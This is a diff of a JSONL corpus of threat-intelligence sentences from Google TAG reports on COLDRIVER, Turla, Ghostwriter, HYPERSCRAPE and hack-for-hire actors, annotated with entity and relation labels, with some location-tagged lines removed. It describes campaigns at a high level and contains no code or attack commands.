 {"id":4553,"text":"The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.","entities":[{"id":50363,"label":"SOFTWARE","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]}
@@ -4572,11 +4539,9 @@
 {"id":4572,"text":"An example of this technique, used to target Facebook users, can be seen in the screenshot below.","entities":[{"id":50414,"label":"SOFTWARE","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":4573,"text":"COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.","entities":[{"id":50416,"label":"threat-actor","start_offset":65,"end_offset":73},{"id":50415,"label":"threat-actor","start_offset":0,"end_offset":9},{"id":50417,"label":"attack-pattern","start_offset":88,"end_offset":119}],"relations":[{"id":967,"from_id":50416,"to_id":50415,"type":"duplicate-of"},{"id":968,"from_id":50415,"to_id":50417,"type":"uses"}],"Comments":[]}
 {"id":4574,"text":"In addition to including phishing links directly in the email, the attackers also link to PDFs and\/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.","entities":[{"id":50420,"label":"SOFTWARE","start_offset":118,"end_offset":130},{"id":50419,"label":"attack-pattern","start_offset":25,"end_offset":39},{"id":50421,"label":"SOFTWARE","start_offset":135,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":4575,"text":"In at least one case, unrelated to Ukraine, they have leaked information from a compromised account.","entities":[{"id":50422,"label":"location","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":4576,"text":"These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[],"relations":[],"Comments":[]}
 {"id":4577,"text":"Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.","entities":[{"id":50428,"label":"tools","start_offset":257,"end_offset":270},{"id":50424,"label":"identity","start_offset":71,"end_offset":78},{"id":50425,"label":"threat-actor","start_offset":82,"end_offset":90},{"id":50427,"label":"SOFTWARE","start_offset":204,"end_offset":219},{"id":50423,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":50426,"label":"identity","start_offset":136,"end_offset":175}],"relations":[{"id":969,"from_id":50423,"to_id":50425,"type":"duplicate-of"},{"id":970,"from_id":50423,"to_id":50426,"type":"impersonates"}],"Comments":[]}
 {"id":4578,"text":"In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.","entities":[{"id":50429,"label":"SOFTWARE","start_offset":65,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":4579,"text":"Email contents vary from COVID-19 vaccine policy to the humanitarian crisis in Ukraine.","entities":[{"id":50430,"label":"location","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":4580,"text":"Last March it seemed the world came to a stand-still as the COVID-19 pandemic begin to rapidly spread.","entities":[{"id":50431,"label":"TIME","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":4581,"text":"While businesses, sporting events, and schools started shutting down, cybercriminals remained active as ever.","entities":[],"relations":[],"Comments":[]}
 {"id":4582,"text":"In 2020, the Trend Micro Zero Day Initiative™ (ZDI) published 1,453 advisories, the most ever in the history of the program.","entities":[{"id":50433,"label":"identity","start_offset":13,"end_offset":51},{"id":50432,"label":"TIME","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
@@ -4628,7 +4593,6 @@
 {"id":4628,"text":"Now, we’re shining light on a new tool of theirs.","entities":[],"relations":[],"Comments":[]}
 {"id":4629,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":50543,"label":"identity","start_offset":18,"end_offset":21},{"id":50544,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":50545,"label":"malware","start_offset":69,"end_offset":80},{"id":50546,"label":"SOFTWARE","start_offset":111,"end_offset":116},{"id":50542,"label":"TIME","start_offset":3,"end_offset":16},{"id":50547,"label":"SOFTWARE","start_offset":118,"end_offset":124},{"id":50548,"label":"SOFTWARE","start_offset":130,"end_offset":147}],"relations":[{"id":982,"from_id":50545,"to_id":50544,"type":"authored-by"}],"Comments":[]}
 {"id":4630,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.","entities":[{"id":50549,"label":"malware","start_offset":18,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":4631,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[{"id":50550,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":4632,"text":"The oldest known sample is from 2020, and the tool is still under active development.","entities":[{"id":50551,"label":"TIME","start_offset":32,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":4633,"text":"We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.","entities":[],"relations":[],"Comments":[]}
 {"id":4634,"text":"This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.","entities":[{"id":50552,"label":"malware","start_offset":47,"end_offset":58},{"id":50554,"label":"SOFTWARE","start_offset":110,"end_offset":118},{"id":50553,"label":"identity","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
@@ -4741,13 +4705,10 @@
 {"id":4741,"text":"Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.","entities":[{"id":50653,"label":"identity","start_offset":47,"end_offset":68},{"id":50654,"label":"TIME","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":4742,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.","entities":[{"id":50655,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
 {"id":4743,"text":"This industry appears to be thriving.","entities":[],"relations":[],"Comments":[]}
-{"id":4744,"text":"In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.","entities":[{"id":50656,"label":"location","start_offset":59,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":4745,"text":"This trend should be concerning to the United States and all citizens.","entities":[{"id":50657,"label":"location","start_offset":39,"end_offset":52}],"relations":[],"Comments":[]}
 {"id":4746,"text":"These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.","entities":[],"relations":[],"Comments":[]}
 {"id":4747,"text":"While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.","entities":[],"relations":[],"Comments":[]}
 {"id":4748,"text":"We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.","entities":[],"relations":[],"Comments":[]}
 {"id":4749,"text":"Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":50658,"label":"identity","start_offset":11,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":4750,"text":"The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.","entities":[{"id":50659,"label":"location","start_offset":92,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":4751,"text":"In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.","entities":[],"relations":[],"Comments":[]}
 {"id":4752,"text":"While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.","entities":[],"relations":[],"Comments":[]}
 {"id":4753,"text":"This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.","entities":[],"relations":[],"Comments":[]}
@@ -4778,7 +4739,6 @@
 {"id":4778,"text":"Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.","entities":[{"id":50679,"label":"identity","start_offset":0,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":4779,"text":"Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.","entities":[],"relations":[],"Comments":[]}
 {"id":4780,"text":"Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.","entities":[{"id":50680,"label":"identity","start_offset":0,"end_offset":6},{"id":50681,"label":"attack-pattern","start_offset":59,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":4781,"text":"We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.","entities":[{"id":50682,"label":"location","start_offset":44,"end_offset":51},{"id":50683,"label":"location","start_offset":119,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":4782,"text":"To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.","entities":[],"relations":[],"Comments":[]}
 {"id":4783,"text":"APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.","entities":[{"id":50685,"label":"attack-pattern","start_offset":116,"end_offset":147}],"relations":[],"Comments":[]}
 {"id":4784,"text":" We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.","entities":[],"relations":[],"Comments":[]}
@@ -4800,7 +4760,6 @@
 {"id":4800,"text":"Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.","entities":[{"id":50702,"label":"location","start_offset":62,"end_offset":69},{"id":50703,"label":"threat-actor","start_offset":121,"end_offset":132},{"id":50704,"label":"location","start_offset":153,"end_offset":160},{"id":50701,"label":"threat-actor","start_offset":5,"end_offset":36}],"relations":[{"id":986,"from_id":50701,"to_id":50702,"type":"targets"}],"Comments":[]}
 {"id":4801,"text":"TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.","entities":[{"id":50705,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
 {"id":4802,"text":"Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.","entities":[{"id":50710,"label":"threat-actor","start_offset":179,"end_offset":203},{"id":50707,"label":"identity","start_offset":94,"end_offset":97},{"id":50709,"label":"attack-pattern","start_offset":28,"end_offset":42},{"id":50711,"label":"threat-actor","start_offset":210,"end_offset":233},{"id":50706,"label":"location","start_offset":82,"end_offset":89},{"id":50708,"label":"location","start_offset":11,"end_offset":18},{"id":50712,"label":"identity","start_offset":253,"end_offset":256}],"relations":[{"id":987,"from_id":50710,"to_id":50709,"type":"uses"},{"id":988,"from_id":50711,"to_id":50709,"type":"uses"},{"id":989,"from_id":50710,"to_id":50708,"type":"located-at"},{"id":990,"from_id":50711,"to_id":50708,"type":"located-at"},{"id":991,"from_id":50710,"to_id":50706,"type":"targets"},{"id":992,"from_id":50711,"to_id":50706,"type":"targets"}],"Comments":[]}
-{"id":4803,"text":"Most of these coordinated influence operations are Russian language efforts aimed at ensuring domestic support in Russia for the war.","entities":[{"id":50713,"label":"location","start_offset":114,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":4804,"text":"Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.","entities":[{"id":50714,"label":"identity","start_offset":48,"end_offset":51},{"id":50715,"label":"threat-actor","start_offset":88,"end_offset":93},{"id":50719,"label":"SOFTWARE","start_offset":183,"end_offset":190},{"id":50716,"label":"location","start_offset":126,"end_offset":132},{"id":50717,"label":"identity","start_offset":135,"end_offset":165},{"id":50718,"label":"identity","start_offset":221,"end_offset":244}],"relations":[{"id":994,"from_id":50717,"to_id":50716,"type":"located-at"},{"id":995,"from_id":50715,"to_id":50717,"type":"attributed-to"},{"id":996,"from_id":50715,"to_id":50718,"type":"impersonates"},{"id":997,"from_id":50715,"to_id":50719,"type":"uses"}],"Comments":[]}
 {"id":4805,"text":"This is the first known instance of Turla distributing Android-related malware.","entities":[{"id":50720,"label":"threat-actor","start_offset":36,"end_offset":41},{"id":50721,"label":"SOFTWARE","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":4806,"text":"The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.","entities":[{"id":50722,"label":"SOFTWARE","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]}
@@ -4825,11 +4784,9 @@
 {"id":4825,"text":"An example of this technique, used to target Facebook users, can be seen in the screenshot below.","entities":[{"id":50772,"label":"SOFTWARE","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":4826,"text":"COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.","entities":[{"id":50774,"label":"location","start_offset":13,"end_offset":20},{"id":50775,"label":"threat-actor","start_offset":65,"end_offset":73},{"id":50773,"label":"threat-actor","start_offset":0,"end_offset":9},{"id":50776,"label":"attack-pattern","start_offset":93,"end_offset":119}],"relations":[{"id":1013,"from_id":50773,"to_id":50774,"type":"located-at"},{"id":1014,"from_id":50775,"to_id":50773,"type":"duplicate-of"}],"Comments":[]}
 {"id":4827,"text":"In addition to including phishing links directly in the email, the attackers also link to PDFs and\/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.","entities":[{"id":50777,"label":"attack-pattern","start_offset":25,"end_offset":39},{"id":50779,"label":"SOFTWARE","start_offset":135,"end_offset":154},{"id":50778,"label":"SOFTWARE","start_offset":118,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":4828,"text":"In at least one case, unrelated to Ukraine, they have leaked information from a compromised account.","entities":[{"id":50780,"label":"location","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":4829,"text":"These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":50782,"label":"SOFTWARE","start_offset":49,"end_offset":69},{"id":50781,"label":"attack-pattern","start_offset":6,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":4830,"text":"Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.","entities":[{"id":50783,"label":"identity","start_offset":71,"end_offset":78},{"id":50785,"label":"SOFTWARE","start_offset":204,"end_offset":219},{"id":50786,"label":"tools","start_offset":257,"end_offset":270},{"id":50784,"label":"identity","start_offset":136,"end_offset":175},{"id":14710,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":14713,"label":"threat-actor","start_offset":82,"end_offset":90}],"relations":[{"id":1015,"from_id":14713,"to_id":14710,"type":"duplicate-of"},{"id":1016,"from_id":14710,"to_id":50784,"type":"targets"},{"id":1017,"from_id":14710,"to_id":50785,"type":"uses"},{"id":1018,"from_id":14710,"to_id":50786,"type":"uses"}],"Comments":[]}
 {"id":4831,"text":"In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.","entities":[{"id":50787,"label":"SOFTWARE","start_offset":65,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":4832,"text":"Email contents vary from COVID-19 vaccine policy to the humanitarian crisis in Ukraine.","entities":[{"id":50788,"label":"location","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":4833,"text":"As part of TAG's mission to counter serious threats to Google and our users, we've published analysis on a range of persistent threats including government-backed attackers, commercial surveillance vendors, and serious criminal operators.","entities":[{"id":50790,"label":"identity","start_offset":11,"end_offset":14},{"id":50789,"label":"identity","start_offset":55,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":4834,"text":"Today, we're sharing intelligence on a segment of attackers we call hack-for-hire, whose niche focuses on compromising accounts and exfiltrating data as a service.","entities":[{"id":50791,"label":"attack-pattern","start_offset":68,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":4835,"text":"In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.","entities":[{"id":50792,"label":"attack-pattern","start_offset":123,"end_offset":136}],"relations":[],"Comments":[]}
@@ -4845,14 +4802,11 @@
 {"id":4845,"text":"We have also observed Indian hack-for-hire firms work with freelance actors not directly employed by the firms themselves.","entities":[{"id":50804,"label":"location","start_offset":22,"end_offset":28},{"id":50805,"label":"identity","start_offset":29,"end_offset":48}],"relations":[{"id":1019,"from_id":50805,"to_id":50804,"type":"located-at"}],"Comments":[]}
 {"id":4846,"text":"The breadth of targets in hack-for-hire campaigns stands in contrast to many government-backed operations, which often have a clearer delineation of mission and targets.","entities":[{"id":50806,"label":"attack-pattern","start_offset":26,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":4847,"text":"A recent campaign from an Indian hack-for-hire operator was observed targeting an IT company in Cyprus, an education institution in Nigeria, a fintech company in the Balkans and a shopping company in Israel.","entities":[{"id":50812,"label":"location","start_offset":200,"end_offset":206},{"id":50809,"label":"location","start_offset":96,"end_offset":102},{"id":50807,"label":"location","start_offset":26,"end_offset":32},{"id":50808,"label":"identity","start_offset":33,"end_offset":55},{"id":50810,"label":"location","start_offset":132,"end_offset":139},{"id":50811,"label":"location","start_offset":166,"end_offset":173}],"relations":[{"id":1020,"from_id":50808,"to_id":50807,"type":"located-at"},{"id":1021,"from_id":50808,"to_id":50809,"type":"targets"},{"id":1023,"from_id":50808,"to_id":50811,"type":"targets"},{"id":1024,"from_id":50808,"to_id":50812,"type":"targets"},{"id":1022,"from_id":50808,"to_id":50810,"type":"targets"}],"Comments":[]}
-{"id":4848,"text":"India","entities":[{"id":50813,"label":"location","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
 {"id":4849,"text":"Since 2012, TAG has been tracking an interwoven set of Indian hack-for-hire actors, with many having previously worked for Indian offensive security providers Appin and Belltrox.","entities":[{"id":50814,"label":"TIME","start_offset":6,"end_offset":10},{"id":50815,"label":"location","start_offset":55,"end_offset":61},{"id":50816,"label":"attack-pattern","start_offset":62,"end_offset":75},{"id":50817,"label":"location","start_offset":123,"end_offset":129},{"id":50818,"label":"identity","start_offset":159,"end_offset":164},{"id":50819,"label":"identity","start_offset":169,"end_offset":177}],"relations":[],"Comments":[]}
 {"id":4850,"text":"One cluster of this activity frequently targets government, healthcare, and telecom sectors in Saudi Arabia, the United Arab Emirates, and Bahrain with credential phishing campaigns.","entities":[{"id":50820,"label":"location","start_offset":95,"end_offset":107},{"id":50821,"label":"location","start_offset":113,"end_offset":133},{"id":50822,"label":"location","start_offset":139,"end_offset":146},{"id":50823,"label":"campaign","start_offset":152,"end_offset":181}],"relations":[{"id":1025,"from_id":50823,"to_id":50822,"type":"targets"},{"id":1026,"from_id":50823,"to_id":50820,"type":"targets"},{"id":1027,"from_id":50823,"to_id":50821,"type":"targets"}],"Comments":[]}
 {"id":4851,"text":"These credential phishing campaigns have ranged from targeting specific government organizations to AWS accounts to Gmail accounts.","entities":[{"id":50825,"label":"campaign","start_offset":6,"end_offset":35},{"id":50826,"label":"SOFTWARE","start_offset":100,"end_offset":103},{"id":50827,"label":"SOFTWARE","start_offset":116,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":4852,"text":"TAG has linked former employees of both Appin and Belltrox to Rebsec, a new firm that openly advertises corporate espionage as an offering on its company website.","entities":[{"id":50828,"label":"identity","start_offset":0,"end_offset":3},{"id":50829,"label":"identity","start_offset":40,"end_offset":45},{"id":50831,"label":"identity","start_offset":62,"end_offset":68},{"id":50830,"label":"identity","start_offset":50,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":4853,"text":"Russia","entities":[{"id":50832,"label":"location","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
 {"id":4854,"text":"While investigating a 2017 credential phishing campaign that targeted a prominent Russian anti-corruption journalist, we discovered the Russian attacker targeting other journalists, politicians across Europe, and various NGOs and non-profit organizations.","entities":[{"id":50833,"label":"TIME","start_offset":22,"end_offset":26},{"id":50835,"label":"location","start_offset":201,"end_offset":207},{"id":50834,"label":"campaign","start_offset":27,"end_offset":55},{"id":50836,"label":"identity","start_offset":213,"end_offset":254}],"relations":[],"Comments":[]}
-{"id":4855,"text":"But what stuck out during this investigation was the breadth of targeting, which also included individuals that had no affiliation with the selected organizations, and appeared to be regular, everyday citizens in Russia and surrounding countries.","entities":[{"id":50837,"label":"location","start_offset":213,"end_offset":219}],"relations":[],"Comments":[]}
 {"id":4856,"text":"This hack-for-hire actor has been publicly referred to as 'Void Balaur'.","entities":[{"id":50838,"label":"attack-pattern","start_offset":5,"end_offset":18},{"id":14831,"label":"threat-actor","start_offset":59,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":4857,"text":"These campaigns were similar regardless of target, consisting of a credential phishing email with a link to an attacker-controlled phishing page.","entities":[{"id":50839,"label":"attack-pattern","start_offset":67,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":4858,"text":"The lures ranged from fake Gmail and other webmail provider notifications to messages spoofing Russian government organizations.","entities":[{"id":50841,"label":"location","start_offset":95,"end_offset":102},{"id":50840,"label":"SOFTWARE","start_offset":27,"end_offset":32}],"relations":[],"Comments":[]}
@@ -5010,7 +4964,6 @@
 {"id":5010,"text":"Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.","entities":[{"id":51063,"label":"identity","start_offset":0,"end_offset":36},{"id":51064,"label":"location","start_offset":95,"end_offset":109},{"id":51065,"label":"location","start_offset":136,"end_offset":143}],"relations":[],"Comments":[]}
 {"id":5011,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":51066,"label":"identity","start_offset":23,"end_offset":26},{"id":51067,"label":"attack-pattern","start_offset":106,"end_offset":122}],"relations":[],"Comments":[]}
 {"id":5012,"text":"Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.","entities":[],"relations":[],"Comments":[]}
-{"id":5013,"text":"Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.","entities":[{"id":51071,"label":"location","start_offset":59,"end_offset":65},{"id":51072,"label":"location","start_offset":125,"end_offset":132},{"id":51068,"label":"location","start_offset":30,"end_offset":35},{"id":51069,"label":"location","start_offset":37,"end_offset":41},{"id":51070,"label":"location","start_offset":43,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":5014,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[],"relations":[],"Comments":[]}
 {"id":5015,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[{"id":51073,"label":"identity","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
 {"id":5016,"text":"We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[],"relations":[],"Comments":[]}
@@ -5028,7 +4981,6 @@
 {"id":5028,"text":"Within these files is a link to an attacker controlled phishing domain.","entities":[],"relations":[],"Comments":[]}
 {"id":5029,"text":"These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":51097,"label":"SOFTWARE","start_offset":49,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":5030,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.","entities":[{"id":51098,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":51100,"label":"location","start_offset":72,"end_offset":82},{"id":51101,"label":"SOFTWARE","start_offset":180,"end_offset":185},{"id":51102,"label":"attack-pattern","start_offset":199,"end_offset":218},{"id":51099,"label":"threat-actor","start_offset":57,"end_offset":68}],"relations":[{"id":1043,"from_id":51099,"to_id":51100,"type":"located-at"},{"id":1044,"from_id":51099,"to_id":51101,"type":"uses"},{"id":1045,"from_id":51099,"to_id":51102,"type":"uses"}],"Comments":[]}
-{"id":5031,"text":"This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.","entities":[{"id":51103,"label":"location","start_offset":50,"end_offset":57}],"relations":[],"Comments":[]}
 {"id":5032,"text":"If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.","entities":[],"relations":[],"Comments":[]}
 {"id":5033,"text":"There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.","entities":[{"id":51104,"label":"identity","start_offset":58,"end_offset":64}],"relations":[],"Comments":[]}
 {"id":5034,"text":"Both pages from this campaign are shown below.","entities":[],"relations":[],"Comments":[]}
@@ -5042,12 +4994,9 @@
 {"id":5042,"text":"We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.","entities":[],"relations":[],"Comments":[]}
 {"id":5043,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[],"relations":[],"Comments":[]}
 {"id":5044,"text":"We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":5045,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.","entities":[{"id":51126,"label":"location","start_offset":53,"end_offset":60},{"id":51127,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":5046,"text":"In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.","entities":[{"id":51129,"label":"identity","start_offset":16,"end_offset":52},{"id":51130,"label":"location","start_offset":137,"end_offset":144},{"id":51128,"label":"TIME","start_offset":3,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":5047,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":51131,"label":"identity","start_offset":23,"end_offset":26},{"id":51132,"label":"attack-pattern","start_offset":106,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":5048,"text":"Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.","entities":[{"id":51136,"label":"location","start_offset":59,"end_offset":65},{"id":51137,"label":"location","start_offset":125,"end_offset":132},{"id":51133,"label":"location","start_offset":30,"end_offset":35},{"id":51134,"label":"location","start_offset":37,"end_offset":41},{"id":51135,"label":"location","start_offset":43,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":5049,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[],"relations":[],"Comments":[]}
-{"id":5050,"text":"For example, one actor is impersonating military personnel to extort money for rescuing relatives in Ukraine.","entities":[{"id":51138,"label":"location","start_offset":101,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":5051,"text":"TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.","entities":[{"id":51139,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
 {"id":5052,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[{"id":51140,"label":"identity","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
 {"id":5053,"text":"We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[],"relations":[],"Comments":[]}
@@ -5066,10 +5015,8 @@
 {"id":5066,"text":"Recently observed Ghostwriter credential phishing domains:","entities":[{"id":51172,"label":"threat-actor","start_offset":18,"end_offset":29},{"id":51173,"label":"attack-pattern","start_offset":30,"end_offset":49}],"relations":[{"id":1067,"from_id":51172,"to_id":51173,"type":"uses"}],"Comments":[]}
 {"id":5067,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[],"relations":[],"Comments":[]}
 {"id":5068,"text":"We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":5069,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.","entities":[{"id":51174,"label":"location","start_offset":53,"end_offset":60},{"id":51175,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":5070,"text":"On February 10, Threat Analysis Group discovered two distinct North Korean government-backed attacker groups exploiting a remote code execution vulnerability in Chrome, CVE-2022-0609.","entities":[{"id":51176,"label":"TIME","start_offset":3,"end_offset":14},{"id":51177,"label":"identity","start_offset":16,"end_offset":37},{"id":51178,"label":"threat-actor","start_offset":62,"end_offset":108},{"id":51179,"label":"vulnerability","start_offset":122,"end_offset":157},{"id":51180,"label":"vulnerability","start_offset":169,"end_offset":182},{"id":51181,"label":"SOFTWARE","start_offset":161,"end_offset":167}],"relations":[{"id":1068,"from_id":51179,"to_id":51180,"type":"duplicate-of"},{"id":1069,"from_id":51181,"to_id":51180,"type":"has"},{"id":1070,"from_id":51178,"to_id":51180,"type":"exploits"}],"Comments":[]}
 {"id":5071,"text":"These groups' activity has been publicly tracked as Operation Dream Job and Operation AppleJeus.","entities":[{"id":51183,"label":"campaign","start_offset":76,"end_offset":95},{"id":51182,"label":"campaign","start_offset":52,"end_offset":71}],"relations":[],"Comments":[]}
